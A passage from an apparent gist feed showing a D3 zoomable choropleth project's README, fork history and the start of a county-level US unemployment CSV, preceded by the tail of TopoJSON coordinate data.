,[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/12768d82017fb435c62c90649d9071d8">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/c812bfdde1e6f06a4a437eb7112a02d4</link>
      <guid isPermaLink="true">https://gist.github.com/c812bfdde1e6f06a4a437eb7112a02d4</guid>
      <pubDate>Wed, 21 Sep 2016 17:52:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:52:56.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>4013</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6161</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
